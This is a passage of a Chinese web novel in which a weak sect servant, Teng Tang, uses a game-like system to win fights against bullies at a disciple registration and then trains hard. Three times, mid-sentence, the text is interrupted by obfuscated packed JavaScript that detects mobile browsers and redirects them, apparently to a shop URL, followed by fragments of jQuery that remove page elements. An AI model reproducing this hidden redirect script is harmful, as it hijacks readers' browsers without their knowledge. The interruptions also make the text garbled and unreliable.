身为杂役,一不能下山,二不能在宗门内随意走动。就这么苦巴巴地盼着龙傲天归来,然后依附对方而活,她还不如销号重来,喝一碗孟婆汤,踏上奈何桥。 在山洞内盘坐休息,滕棠闭上眼睛,开始研究游戏系统的功能变化,计算商城物品增加的战斗力和价格。 睁开双目,拿出生锈的大刀,滕棠对准墙壁砍了两个浅浅的印,空中立马飘过[-9][+1]的红绿数字。 大刀的伤害随等级增加,每多一级,伤害值就多个9,比如达到1级,就能砍出[-99]的伤害。 想变强,提升等级是关键,如何增加经验值呢?只要有了经验值,等级提高,五色杂灵根不再是问题。 游戏融合到修真界有很多地方发生改变。原本她可以通过打副本、公会团战等,增加经验值,现在则摸不透规则,随便在空中挥一挥,便能看见[经验值+1]的字样。 而0级到1级,所需经验值为10000…… 她猜测,需要像玩游戏那样打怪,才能获得大量经验值。 可惜鹿焰宗管制严厉,杂役一年只能下山一次,记名弟子两次,内外门弟子则无限制。她今年的次数用完了,没法下山找低等妖魔试手。 而门内唯一能修炼的地方,是后山的宝塔。同样的,杂役不可入。 正当滕棠感到苦恼,不知如何才能在一个月内把系统所需灵石凑齐,如何快速升级时,洞口鱼鳞状的光幕一阵晃动,有人喊她:“滕姐姐你在吗?” 滕棠下意识地回应:“我在。” 一头盘簪起的软发凌乱,眦角内眸光分散,显然,滕棠还处在思考之中。 等她醒过神,才意识到有人叫她,收起大刀,朝外走,看到一位乖巧的绿衣女孩。 “滕棠姐,你要和我去管事那儿报名吗?” 绿衣女孩娇笑着撩起襦裙长摆,娉娉婷婷靠近,亲密地挽上她的右臂。 滕棠被人如此亲近,有些不习惯,乌漆的眼睛打了半个转,盯向女孩头上那根清叮叮作响的金花步摇,才在记忆里找出对方身份。 滕棠粗略阅览过一些画面,沉默了几秒,浅唇微微开启:“酥酥?” 情敌徐扉罗的丫鬟,美名其曰想和自己交好,怕不是替主子监视自己。滕棠一想想男女之间的破事,什么爱恨情仇,错综复杂的故事,就感到头疼。 “才几日不见,滕姐姐怎么跟不认识我似的?” 鲁酥酥模样天真可爱,圆眼小翘鼻,嘴角有两个梨涡,对自己笑时,甜到人心坎。 滕棠被她的笑容感染,也跟着笑起来。 鲁酥酥垂头将手放在腰间储物袋上,眨眼变出个碧绿长颈玉瓶,拎到滕棠面前摇晃。 豆青玉瓶光色明亮,内里可视。瓶口塞着软木,里面浅粉的液体幽香沁脾,令闻到之人有种鼻尖落香雪的幻觉。 “这是我这些日子采的梅花露,为答谢姐姐前段时间的照顾,特来送给姐姐,希望对姐姐的修炼有益。” 她提起滕棠帮她干活的事儿,精明地没说付灵石,而是拿普通花露代谢,末了又道:“我向管事打听过,外峰十天后举行新人大比,年纪二十以下皆可参与,比试结束,前一百者便能成为外门弟子一年。” 滕棠一边回忆原主的记忆,一边推拒:“我资质太差,这东西对我没用,你留着自己用吧。” 原主帮鲁酥酥干了一个月的活,就得到一小瓶花露? 不说这东西寒碜,鲁酥酥是徐扉罗的人,她们送的东西,滕棠可不敢要。 梅花灵露对杂役来说,是上等饮品,见她不要,鲁酥酥未提第二遍,而是转到外门弟子的话题上:“那姐姐明日要和我去报名么?” “当然要去,如果你不说,我还不知道有这件好事,多谢告知。” 滕棠和她道谢完,又顺便打听起徐扉盛和徐扉罗的动静:“二少爷和大小姐不会来外门吧?” 徐扉盛刚杀完她,她可不想遇上触霉头,再死一遍。而徐扉罗是原主情敌,在记忆里总是找原主的不快,滕棠也不想遇见她。 鲁酥酥摇头:“他们去了明月八角塔,短时间内不会出来。” “哦。”滕棠和她聊完,朝后山方向望去。 那儿有座耸入云霄的白塔,半虚半实,内里是个联通八大门派的秘境,据龙傲天说,塔内地域广袤复杂,妖魔众多,是弟子们最佳修炼场所。 想要进入其中,需要有弟子令牌。她既然不能下山,进明月八角塔修炼是最好的途径。十天后的外峰新人大比,她必须参加,拿到外门弟子令牌! 鲁酥酥走后,滕棠抓紧时间在洞内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032662|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥刀增加经验。 锈刀沉重,她的身体羸弱不堪,对着墙壁没砍几次,手臂就酸痛难当,距离一万经验值遥遥无期。 还好炼气期修者开始辟谷,少食俗物,少入困顿,大多时候盘坐在蒲团上忍着饥困,按修炼心法,疏导周身灵气,进行周期循环,洗涤体内杂质。 原主修炼这么多年,血肉中饱含灵力,可自动吸纳天地五色灵气,已经不用吃东西了。 她甩甩手,凝视浅痕增多的墙壁,努力抬起酸痛的肩膀,砍一下休息一下,而后接着继续,直到一时辰后实在没有力气,才盘坐到石床上修行。 翌日,天刚亮,滕棠垂着两只酸软的胳膊,和鲁酥酥往管事阁走。 绿林山涧,清风裹挟水雾弥漫崖谷,模糊人的视线,如同梦里幻境。 修真界虽残酷,风景却是极好。 管事阁在外山北峰,座落在山顶之上,爬上去要半个小时。 滕棠气喘吁吁地来到峰顶,手脚酸痛,仿佛全身被人捶打过,汗水淋漓,迈不开脚、抬不起手。 原主这副身子纤瘦文弱,山风一吹,滕棠就感觉自己要飞起来。 反观她旁边的鲁酥酥,没事人一样,气不喘脸不红,走山梯如履平地。 平坦的场地上站满了人,大多是新入门的弟子,几乎看不见她们这样的杂役。 滕棠大致扫了一圈,发现大家实力都在炼气二三层,稍微放下心来。 五行灵根虽难提升,但发挥的实力能抵单灵根近五倍,也就是说,她炼气一层的实力,并不逊于某些炼气二层修者。 五灵根修者在前期,只有这方面优势,到后期,大多数终其一生止步炼气十层,无法突破至筑基,短短一百多年的人生,如烟飞逝。 滕棠和鲁酥酥排上队伍尾巴,后面来了几个懒懒散散的人,看穿着打扮,是前几年招的记名弟子,年龄恰好在二十。 他们吊儿郎当地走着,上台阶后,一眼看到她们俩,见色起意,搭讪道:“哪个山峰的杂役,长得这么好看。两位姑娘待会儿登记完,要不要去我那儿品尝新摘的灵茶?” 他身后的跟班,笑嘻嘻地附和:“厉哥那儿的灵茶,不仅新鲜,喝了还涨灵力。” 滕棠和鲁酥酥跟紧队伍,没搭理。 “两个美人叫什么名字?”被称为厉哥的男子,不死心地把手搭在鲁酥酥肩膀上,笑眯眯地问。 周围人多,有不少认识这几位的,连忙推搡队伍往前,生怕被他们盯上。 滕棠和鲁酥酥常年在内峰做事,对外门并不熟悉,因此不知这几人什么背景。鲁酥酥一把推开他,嫌恶骂道:“谁要喝你那下等茶,滚开!” 厉哥被推得后退一步,在这么多人前丢了面子,免不得发火:“不过就是个杂役,别给脸不要脸,与其将来给某位师兄当炉鼎,还不如从了我呢。” 几个跟班嘿嘿地笑出声,把她们围住:“厉哥能看上你们,是你们的福气。” 这福气,我可不要。滕棠左看右看,发现他们的实力都比自己和鲁酥酥高,真要动起手,吃亏的多半是她们自己。 “滕姐姐,帮我!”厉哥离鲁酥酥近,欲要动手动脚。 滕棠看不过去,见此,抬起酸痛的手,把鲁酥酥拉开,想带她离开这儿。 4. 第 4 章 “想走,没门儿!” 奈何几个人堵得严实,周围的人只敢看戏,不敢解围。她们二人活像陷阱里的白兔,跳不出去。 厉哥摸摸脸边的络腮胡,抱臂道:“惹我的人都没好下场。” 滕棠警惕地看着他们,观原主的记忆,知道这些男修都没安好心思。 这个修真界不少男人左拥右抱,有些为了提升实力,走歪门邪道,拐女修采阴补阳。没有家族靠山或者超强实力的女修,十分容易被男修抓去吸取阴元。 像她这样没地位背景,实力又弱的,一旦龙傲天不在身边,美貌变成负担,一朵鲜花无人看守,就会不断吸引附近虫子啃噬。 不得已,她只好拿出男主的身份:“我们一个是龙傲天的下人,一个是徐扉罗的下人,回去要是提起此事……厉哥不怕他们怪罪么?” 一听这话,鲁酥酥顿时叉腰,提高音量呛道:“你得罪我们,才是没好下场。” “哎哟,装得真厉害,他们会挑这么弱的杂役当丫鬟?说大话谁不会,我还是掌门亲戚呢。” 厉哥摇了摇脑袋,心想他舅舅乃是外峰长老,再如何也轮不到杂役骑他头上。且实力高的内门弟子,下人也不会弱到哪儿去。他观二人穿着,异常朴素,除了鲁酥酥头上的步摇,其他饰物都不入眼。 “我没那么好糊弄。” 他笑眯眯地伸手,这次伸的是滕棠的方向,许是看她外表柔柔弱弱的,好欺负。 忽然啪地一声,手背作疼,手腕被打得往另一边甩,力道不大,但其中带了灵力,一时没防住。 厉哥恼羞成怒,瞪着这朵弱不禁风的纤腰娇花,呸了一声:“你敢打我?你知道我是谁吗?” 鲁酥酥在腰间摸了半晌,忆起自己出门急,没系储物袋,顿时慌乱。若没有令牌之类的东西,怎么唬住他们? 人群议论声越来越大,厉哥后面几个跟班,趋炎附势地把其他人赶开,凑近她们调侃道:“美娇娘打个人软绵绵的,这一掌打在厉哥心窝里去了。” 厉哥暗中揉了下手,被几个人哄得消了气,抬头坏笑一声,盯着滕棠不怀好意:“平时没吃过好东西吧,都瘦成皮包骨了,你要是从了我,天天吃香的喝辣的,何乐不为?” 说完,又把粗糙的手张伸过来,想搂她肩。 滕棠反应极快地侧身躲开,脸色难看地望着他们,一时想不到对付的办法。 “还躲?厉哥我今天偏要让你们服软。” 男人两步跨过来,以迅雷不及掩耳之速,一把抓住鲁酥酥和滕棠的手,叫跟班去取她们腰上的护身灵器。 滕棠未动,眼睛眨也不眨地盯着他手心,看清对方灵力只有三种颜色——金色、褐色和绿色之后,心下既定。 厉哥炼气二层的实力,金土木三灵根。她是炼气一层的五灵根,未必会败。 滕棠用巧劲挣开束缚,后退两步,右靴磨地顿足在一米远处,手臂抬起,变幻出一把半米大刀。 这刀像是废弃已久的铁块,红锈蚀薄了刀背,刀身有几处小眼,在挥动时,不断掉落红色碎渣。 大刀微沉,她抬起酸胀的手,把刃面朝向对方:“有话好好说,不要动手动脚。” “还以为是朵小白花呢,美人够烈,哥喜欢!” 厉哥拉下脸来,弓着熊腰,举拳在胸前:“从哪儿捡的烂刀,凭这也能吓到我?” 滕棠第一次和人这般对峙,娴静的面容略显紧张,细眉蹙起,钝圆水眸中一点白光明亮。握住刀柄,她凝神注意厉哥的手脚,只要对方稍微动作,她便聚集灵力反砍过去。 [(叮)您已接受1v1挑战,pk模式开启,3、2……1!] 系统提示出现得太突然,滕棠一晃神,厉哥已经攻来,等她注意力从倒数数字移开时,那黝黑的拳头距离她的脸只有一分米。 滕棠瞳孔收缩,下意识地逆转灵力倒流至脚下,迅速后飘一步,提刀挡在脸前。 铛—— 拳头撞击刀面,那看起来脆弱无比的锈铁刀没断,细小的红锈刺入指节骨中,针扎般疼。 厉哥猛地缩回手,恼怒擦掉拳背的锈屑,瞪着娇弱的猎物,手臂青筋暴突。 众人惊讶,厉哥这一拳下去,怎么无事发生,那刀怎么看都像是垃圾堆里捡的。 就在大家充满疑惑时,滕棠将灵体附于刀锋,五色浅光颜色分明,每根线粗细一致,灵根之间竟分不清主次。 他们才恍然大悟,原来是个只有初期强的五灵根修者,怪不得能打过厉哥。 “五灵根,逞一时威风罢了。小美人还是乖乖束手就擒,让哥好好疼你。” 厉哥双拳互撞,朝滕棠再次攻去,这次他招招不留情面,每一拳都虎虎生风。招势又快又狠,拳头如密集的雨,一拳还未收,另一拳接着砸来。 起初滕棠因不熟悉灵力,再加上昨晚手臂筋肉使用过度,吃了两拳在肩膀上。后来她学得很快,把灵力汇在足尖,左右敏捷闪躲,提刀攻向厉哥的脆弱部位。 [-9]的武器伤害加自身的灵力伤害,一下下劈准厉哥肥硕的腰腹。对方衣服烂了,肥肉红了,但刀伤不进皮肤半分,每次砍下去还能感受到一阵弹性。 滕棠心中感慨,忍不住道:“你要胸有胸,皮肤光滑有弹性,砍着软绵绵的,何不多摸摸自己?非要讨别人的打。” 周围看戏的忍不住笑出声。 厉哥接二连三地丢面子,气急败坏,往外一瞪,众人顿时噤声。 他出拳的招式和脚步乱了,接连在同一个位置被砍,没过一会儿,他“唔”了一声,吃痛地捂住露出来的腹部。 系统武器的伤害,只有灵器可以削弱,光用灵身抵抗,是行不通的。在空中飘过数个红色的[-9]掉血值后,厉哥最终扛不住,脸色苍白地一屁股坐在地上。 [(烟花)恭喜胜利!] [经验值+5000] [获得每日首胜,奖励100下品灵石。] [开启成就系统。] [牛刀小试:连胜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032663|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进度1/3。] …… 一连串系统提示在滕棠脑海出没,她粗略看了一遍,发现框框虽多,但奖励算下来,其实就是100下品灵石和5000经验值。 她距离1级仍缺经验,财富栏空空如也,全被系统拿去维持运营了。 “滕棠姐好厉害!”鲁酥酥跑过来小声夸道。 厉哥被打败心有不甘,他无法接受这种奇耻大辱,还是当着这么多人面,被一个瘦如干柴的女人挫败,他不愿承认。 捂着剧痛的肚子,厉哥想要站起来,奈何伤及内腑,稍稍一动便疼痛难忍。 大家对厉哥打输的情形目瞪口呆,几个跟班把厉哥扶坐一旁,气冲冲地就要过来动手。 滕棠不得已,和鲁酥酥分开,往人群里钻。 她暗恨,如果我有钱多好,商城随便氪,不至被欺负到如此地步。氪他个百万灵髓,或者几百万上品灵石,她只要轻轻一挥大刀,这群人就不敢捏她这颗柿子了。 可惜现实还是要面对的,没钱没地位,在修真界就容易挨打。滕棠握紧大刀,和鲁酥酥在人群中胡乱穿梭。 厉哥的跟班们都在炼气二层左右,全是四灵根。鲁酥酥身材娇小,进人群后,不容易被关注到。 滕棠人比较高,加之手里的半米破刀明显,她成为了主要目标。刚打完一架,灵力勉强能对付其中一位,却招架不了三个同时追来的人。 所幸山顶人多,几个跟班想要出手,也没太大空间。 滕棠在人群里跑了许久,大口大口喘气,心知这样耗下去,很不利,于是眼尖地找出鲁酥酥,跑过去道:“你先拖住后面那个人片刻,我把高的那个快速解决了,再来帮你。” 鲁酥酥原本想这么躲着,一直不出来,让他们把滕棠带走息事宁人。没想到滕棠会把靶子引来,便翘嘴埋怨了一句。她跺跺脚,此时已经被矮个跟班发现,只好取下腰间灵器,回头对付矮个男。 她紧张得手心都是汗,打架斗法向来和她不沾边,她又无法把大小姐叫来,早知今日会发生这样的事,她该带上一块内门令牌或者一只大小姐的灵宠过来。 “哼,我回去一定要让大小姐帮我出气。” 二人短暂交流之后,迅速分开,将离得近的人左右牵制。 滕棠这边速战速决,一刀接一刀地劈向男修的要害。得益于前世养出来的专注与细心,她眼神沉着冷静,观察力敏锐,每次男子肌肉动作一变,她便能率先洞悉,提前闪躲,再扭腕将刀锋劈向男子下面。 手臂的酸痛影响到状态,肌肉里堆积的疲劳降缓了她的速度,何况这具身体比她前世的弱多了,每次提臂都万分艰难,心里闸下一道道难槛,想让她放弃。 唯一庆幸的是,除了体内的灵气量,她还有系统的灵力储存条,四条短格此时还满满的,不担心灵气耗竭的问题。 滕棠忽略身体的疲乏,靠着意志力支撑,执拗的抬起手攻向高个男人要害。另一边,还要注意其他赶过来的人,忙得不可开交。 5. 第 5 章 如果游戏升级功能没变的话,只要把此人打败,她就可以升1级,身体的疲劳值会被清除掉,回归巅峰状态。 只要这些设置在修真界没发生变化。 滕棠不断喘着气,略带迟缓地挥向对方的裆裤。 黑红的锈刀掉落片片碎屑,洒了一地,刀的表面越来越烂,坑坑洼洼,刀锋豁开几个口,弯弯曲曲的形状不够锋利。 对面的男人痛得嘴角呲起,露出牙龈,眼睛怨恨地盯着她:“你今天得罪了我们,往后可就惨了。”右手暗地里弯钩,准备伺机袭向滕棠的喉咙。 滕棠才没空跟他浪费口舌,观察四周,决定赌一把。 是赢是输,就看这一刻。 周身灵力涌向手心,顺着刀把流向刀锋,滕棠做了个假动作,先是往左迈出脚。 极端冷静的眼珠瞟向鲁酥酥那边的人,在面前人肌肉动作变动之时,她立刻飘往右,双手举刀,劈向和鲁酥酥斗的人背后。 汇聚全身力量的一击,非比寻常,刀锋裹挟着五色灵力落到男人头顶,即使对方反应过来用灵力护头,也没挡住这蓄力一刀。 咚的闷响,头被狠狠砸中。矮个男人睁大眼睛,张着嘴,瘫倒在地面。他们实力相差不大,头顶虽未出血,但内冲震荡力重,他立马失去意识,晕倒过去。 [(烟花)恭喜胜利!] [经验值+6000] [恭喜玩家升级!1级,经验值:11521/100000。] [获得升级奖励:+5中品灵石。] [角色基础值↑:伤害+1,生命+1,速度+1,暴击+1,防御+1。] [武器基础伤害↑:99。] [连胜成就:连胜进度2/3。] …… 打败对方后,滕棠脑中又冒出一连串的方框,同时她感觉全身一轻,原先的疲惫酸痛荡然无存。 灵力恢复,整个人神清气爽,对付起难缠的高个男,她反手快速一刀,[-99]伤害值飘过,狠而准地把人打倒。 与此同时,另两个实力弱的跟班挤过人群赶来,犹豫要不要出手,他们的练气二层实则外强中干。 滕棠完全放松下来,有了系统的满格灵力条做备用,毫无所惧,大不了就打游击战,逐一击破。 得益于在场人数多,大家为了看戏都凑得近,方便了滕棠躲,要是避之不及,就挤入人群。 许是鲁酥酥较弱,那二人追着她跑。滕棠见此,折身跃到那边,抬起手就是一刀。 “该死的!”对方被打得措手不及,手臂被砍出一条浅口。 “狗娘养的!”男人又唾骂一句。 下一瞬,滕棠来到他面前,冲他笑了笑,用刀背霍地砸在他脑袋上。 那男的挖向她眼睛的手僵住,不敢相信滕棠的速度会突然变快。 咚咚咚——,几声闷响,两个骂骂咧咧的跟班都被砸晕在地。 周围响起抽气声,啧啧称奇,方才看滕棠处在劣势,动作滞缓,眼下忽然变得轻盈,两三下将人打晕,一时以为眼花。 …… [获得3次连胜。√] [连胜进度:4/10。] [连胜奖励:+500中品灵石。] 滕棠将大刀杵在地上,一改气质,愣在原地,傻傻地看向人群,好似自己也没想到能打倒这么多人,实则在脑子里查看2级所需经验值。 当发现要十万时,她真想摇醒地上几人:起来,我们接着打! 不得不说,一个人加六千经验,真香。 滕棠暗自高兴着,不料立刻就得到一个下马威。山下又来两个男子,看样子和厉哥很熟,走过去问:“发生了什么事?” 厉哥捂着腹部,怒气冲冲地指向滕棠:“虎凌,快帮我教训那个不知好歹的女人!” 滕棠一瞧,暗道不好。这个叫虎凌的是个炼气四层的修者,比厉哥他们都要高壮,浑身腱子肉,有两个滕棠那么宽。 他手里同样有把大刀,不同之处在于,滕棠的大刀像废弃已久的,他的一看就非凡货。精铁铸造,脊厚锋薄,刀尖弯如月钩,覆上灵力能把人骨砍断。 虎凌上下打量她,冷哼一声:“一个杂役也敢在此处叫嚣?” 弯刀男气势汹汹地走过来,用刀尖对向滕棠,灵力威压一出,附近炼气一二层修者的身躯立刻变得沉重。 窃窃私语声响起,在场罕有炼气四层的外门新人,虎凌一来,众人连戏都不敢看了。 “是虎凌!快走远点。” “这女杂役真倒霉,竟伤了厉哥。” 虎凌的刀上灵力流动。滕棠瞧着刀尖,咽了下干涩的喉咙,三灵根?打个屁啊。 刚升完级,虽无疲态,但让她打一个炼气四层的,即便对方是单灵根,她胜算也不大,更遑论三灵根。 每一层的实力差距,不是那么好跨越弥补的。滕棠深知,自己没办法对抗此人。 打不过怎么办?滕棠沉默了,思考着要不要先服个软,可是当她听到不远处厉哥他们的嘶气声,以及怒骂之语时,她额头流下一串汗。 事情已经到了无法挽救的地步。 为了不死那么快,滕棠决定晓之以情、动之以理。 注视着虎凌,浅色唇瓣动了动,她把这张梨花脸用到极致,玉惨花愁地道:“虎凌大哥相貌不凡、天赋卓越、身正背直,一定是位正人君子,不会不分青红皂白地打一个弱女子。大哥你问问众人,是不是他们欺负我,动手在先。我和酥酥什么也没做,此时……此时却呜呜呜……” 滕棠掩面抽泣,每一声都抽在众人心上,恨不得站出来替她说话。 哭诉了好一会儿,她好似体力不支,一下哭倒在地,指着厉哥。 “搭讪不成便动手,五男欺负两个弱女子,明明我没用力,他们却佯装出一副受重伤的样子,想来讹我。可是大家评评理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032664|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们身上都没伤口,我实力这么弱,怎么可能把他们都打伤,呜呜呜……我从未见过如此厚颜无耻之人!” 滕棠哽咽着,袖子背后的眼睛却冷静得很,一颗泪珠子都见不到。她从两只袖子的缝隙间往外望,发现大家都在小声议论,无不指责厉哥他们欺负人。 虎凌一个大块头,表情难看地僵在当场,打也不是,不打也不是。见大家都帮滕棠说话,他收回弯刀,肚中有气,不屑道:“区区一个杂役,我不跟你一般见识!” 说完,他扶起厉哥,转头恶狠狠地威胁:“但你想成为外门弟子,我们可不允许。” 厉哥龇牙咧嘴,准备说点什么骂人的话。 恰逢此时,管事来了,驱散人群:“干什么呢!都围在这儿干什么?吵吵嚷嚷的。” 鲁酥酥躲人群里已久,看到曾有一面之缘的管事,以为对方记得自己,忙上前,躬身道:“李管事,这几个男子欺辱我和姐姐,动手在先,请李管事替我们做主。” 哪料管事根本不记得她,捋动胡须,看了一眼厉哥他们,又望向一身腱子肉的虎凌,回头不悦呵斥:“我哪有空管这些?你们两个杂役,纵使是掌门的下人,也没资格在这儿捣乱,再闹事就给我滚回去。” 管事骂了一通,命弟子维持秩序,而后捋着胡须拿出个本,慢腾腾把人名身份登记在册。 鲁酥酥被骂得眼泪直掉,跑过来哽咽问:“滕姐姐,我们有何错?” 滕棠眼睛被粗糙的布料搓红,看起来跟真哭过一样,安慰道:“世上以强者为尊,我们此时是弱肉罢了。” 鲁酥酥抓着她的手臂,满脸愁云惨淡:“可是,我们生来如此,没办法变强。” “也不是不可能,我算过,不管是四灵根还是五灵根,都有可能修仙。” 滕棠掰着指头,信誓旦旦:“五灵根,每日修炼十一个时辰,半个时辰练武技、强筋骨,半个时辰做杂事,持续六十年便可筑基。但我们是杂役,每日要干活,减去两到四个时辰,想一百岁临终前筑基,也不是没可能。” 不管做什么,都需要时间。 滕棠目前的困处在于,她既要花时间修行,提升自身实力,还要努力获取经验值,让自己的外挂变得更厉害,时间不太够用! “真的?”鲁酥酥不太相信地问。 “天生不才,唯有努力。就像打磨一把剑,别人锤精铁百次速成,你锤的是铁矿石,要千次万次才可以。”滕棠拍拍她的肩,状似鼓励着,实际在说给自己听。 鲁酥酥的脸依旧蔫着,跟上队伍两步,回头道:“努力也除不掉我那三根杂灵根。” 滕棠心想,四灵根比五灵根好吧,勤奋点,七八十年就能筑基了。 她没继续和鲁酥酥聊,而是望向远处虎凌的背影,暗中算着,如果每日挥刀上万次,十天内升到3级,炼气三层的实力,也不是打不过。 上辈子是行业卷王,这辈子她要当修仙卷神! 6. 第 6 章 所谓修仙卷神,就是在别人修炼的时候,自身更专注有效,在别人不修炼的时候,她还在修炼。 滕棠的目光停滞,傻盯着地面。体内灵力运转,一厘一毫地冲刷着脆弱的血肉和堵塞的筋脉。 用灵力磨炼身体的过程,无疑是痛苦且枯燥乏味的。五色灵力从腹中灵根处涌出,所过之处,犹如用荆棘刷肉,其疼痛非常人能忍受。 很多修真者会被痛感击溃,因为怕痛,一天仅练一次心法,或者好长时间都不修炼。久而久之,有人开始抱怨自己的出身,恨老天给多了灵根,导致自己天赋太差。 殊不知,他们若熬过痛苦,会成为更厉害的修者。 人与人的体质不尽相同,痛苦的强弱也会不同。一个身强体壮的修者和一个细皮嫩肉的修者相比,定然是后者所要面临的壁垒更高,要承受的痛苦更多。 滕棠就属于后者,她的凡人之躯比绝大多数人都差,血肉软嫩荏弱,经脉细窄壅塞。 每当薄弱的灵气流动,经过的地方像被扎了密密麻麻的针,疼得她脸色苍白,额头滴落颗颗汗珠,无声砸在石地上形成水渍。 除此之外,她的天生灵根十分幼小,五条灵根皆一样细,不像其他人那样能分出个主次。 五色灵根束在一起,仅小拇指那么大,颓萎扎于丹田,断断续续提供薄淡的灵气。 排队的时间,滕棠不想浪费,便用来修炼。她咬紧牙关,强忍着火辣辣的血肉之痛,一点一点用灵力磨炼血肉,从丹田到内腑再到四肢。 运转一个周期下来,体内毫无变化。 若是其他人,兴许因为痛苦,早就懈怠下来,宁愿发呆看蚂蚁乱爬,也不愿意让自己这么不好过。 但滕棠不怕,甚至像个自虐狂般,在痛苦之后隐隐兴奋。对于一个工作狂来说,没有什么比闲着没事干更难受。 估摸是因方才被人欺负,加上五灵根的体质,滕棠无时无刻不感到时间在流逝。好似有一朵沉甸甸的乌云压着她,迫使她挣扎得更厉害,想要闯出去。 若蹉跎时光,在修真界给别人当一百年的杂役,她是不能接受的。 一刻不歇地修炼着,滕棠内心信念坚定,做某件事,只要达到极高的次数,就会出现量变,坚持不懈地累积,最终收获到的是质变。 每一大周期下来,瘦弱的身躯里看不出变化,却并不是毫无意义,看似没有发生改变,也许在肉眼无法看到的地方,万般可能已经开始萌发。 一个周期不行,就来上百个周期,日复一日、年复一年,身体定能得到改善。 她从未想过去依赖男主。龙傲天后宫无数,她作为一个本该被炮灰掉的角色,去争宠是绝对不可能的事。二则,世间一切,靠自己才是真谛。 滕棠站在队伍尾巴,埋头苦修,熬过一波波疼痛,心无旁骛地用灵力磨砺肉躯。 队伍前面,几个和厉哥交好的人仍在冷嘲热讽:“区区两个杂役,装得比谁都清高。” “厉哥消消气,现在人多不宜计较,过几天让她们瞧瞧,惹厉哥的下场。” 鲁酥酥越听越气,奈何实力低微,管事不站她们这边,上前吵架只会自取其辱。 心中委屈至极,鲁酥酥回头想找滕棠安慰,却发现身后的人在出神。一动不动地低着头,细发之后的双目水波漾漾,眉头微皱,活似伤极心神般。 滕棠站在她身后,低头研究体内的五色灵力,对四周的声音充耳不闻,鬓角的乌丝被汗水打湿,身上有股神秘的“静”能量,令见者不由得心平气和,跟着安恬下来。 许是被那份专注和认真感染,让鲁酥酥收了泪花,噎着声问:“滕姐姐在做什么?” 滕棠抬眸扫了她一眼,淡淡道:“修炼。” 那声音太冷淡,表情疏离,与平时的滕棠大相径庭,语调有种敷衍感。如果是熟悉滕棠的人,早就见怪不怪。卷王闲暇时话痨热情、活力满满,一旦做事认真起来,就跟个机器人似的,不怕累不怕苦。 鲁酥酥睁着杏眼,不可思议地看着她,滕姐姐向来温柔,说话声音好听,像棉花塞耳朵里,痒痒的,还想惹她多说两句,今天怎么变化这么大。 她跟滕棠的关系不好不坏,如果她不是徐扉罗的丫鬟,两人兴许能成为很好的朋友。 滕棠人好心善,时常愿意帮她干杂活,且分文不取。 今日可能受了这些人的刺激,排着队也在修炼,看那额头上的滚滚汗珠,肯定很疼。 不知怎的,鲁酥酥感受到一阵压力,忽然咬着唇,同滕棠一起,开始在体内运转灵气。 但是她没有滕棠那般的忍耐力,又极易被周围环境分神,没过一会儿就痛得太难受,停止修炼,竖着耳朵,听前面厉哥他们的吹嘘之言,心里忿忿不平。 长长的队伍,排了约莫半个时辰,才排到尾巴。 鲁酥酥和滕棠是最后两个登记的人,其余的早就下山离开了。 滕棠给管事报了姓名身份等信息,核对一番,和鲁酥酥回去。路上滕棠边走边修炼,灵力比排队时减弱,其痛感略微影响她走路。 鲁酥酥发现她脸色很白,汗水涔涔,感到不对劲,便猜测道:“滕姐姐,你在修炼?” 滕棠勉强对她扯出笑容,点点头:“苦修不怠,方能成仙。” 鲁酥酥大为惊讶,被刺激到,生怕实力被赶超,忙收回视线,也学滕棠边走路边修仙。然而才过须臾,她就放弃了。 鲁酥酥对自己狠不下心,一回味那种钻心割肉的痛,她就泄气,一丝灵力都调动不起。 和滕棠下了半座山,鲁酥酥暗自焦急,滕姐姐该行两个周期了吧,她一个周期都未开始。 她忍不住抓着滕棠的袖子摇:“滕姐姐,别修炼了,我们聊聊天吧。” 滕棠“嗯”了一声,没拒绝。但看她眉头,完全未松开。 鲁酥酥便道:“我这副身子弱,修行太痛苦,姐姐帮我想想办法可好?” 体内运转周期的灵气淡得看不见,滕棠本以为她要说说修真日常,未想被她问得噎住:“我帮不了你,不可能帮你修炼吧。” 说出口后,她觉得太直白,睇到鲁酥酥沮丧的面容,心肠软下来,试着鼓励:“你先别好高骛远,一点一滴地做,走路时只用十分之一的灵力锤炼肉-体,待会儿回到洞穴,再闭目盘坐,咬牙坚持,久而久之实力自然会提升。” 鲁酥酥听罢,不太满意,于是继续聊其他有的没的。 一路上她看到滕棠的眉毛就没分开过,心里着急,便说山下有个地方风景好,想约滕棠去玩。 没什么空余时间的滕棠,本打算拒绝,忽而想到方才pk得到的经验值,眼睛陡然明亮,抓着鲁酥酥的胳膊:“酥酥,我们找个地方打架!” “打架?”鲁酥酥愣住。 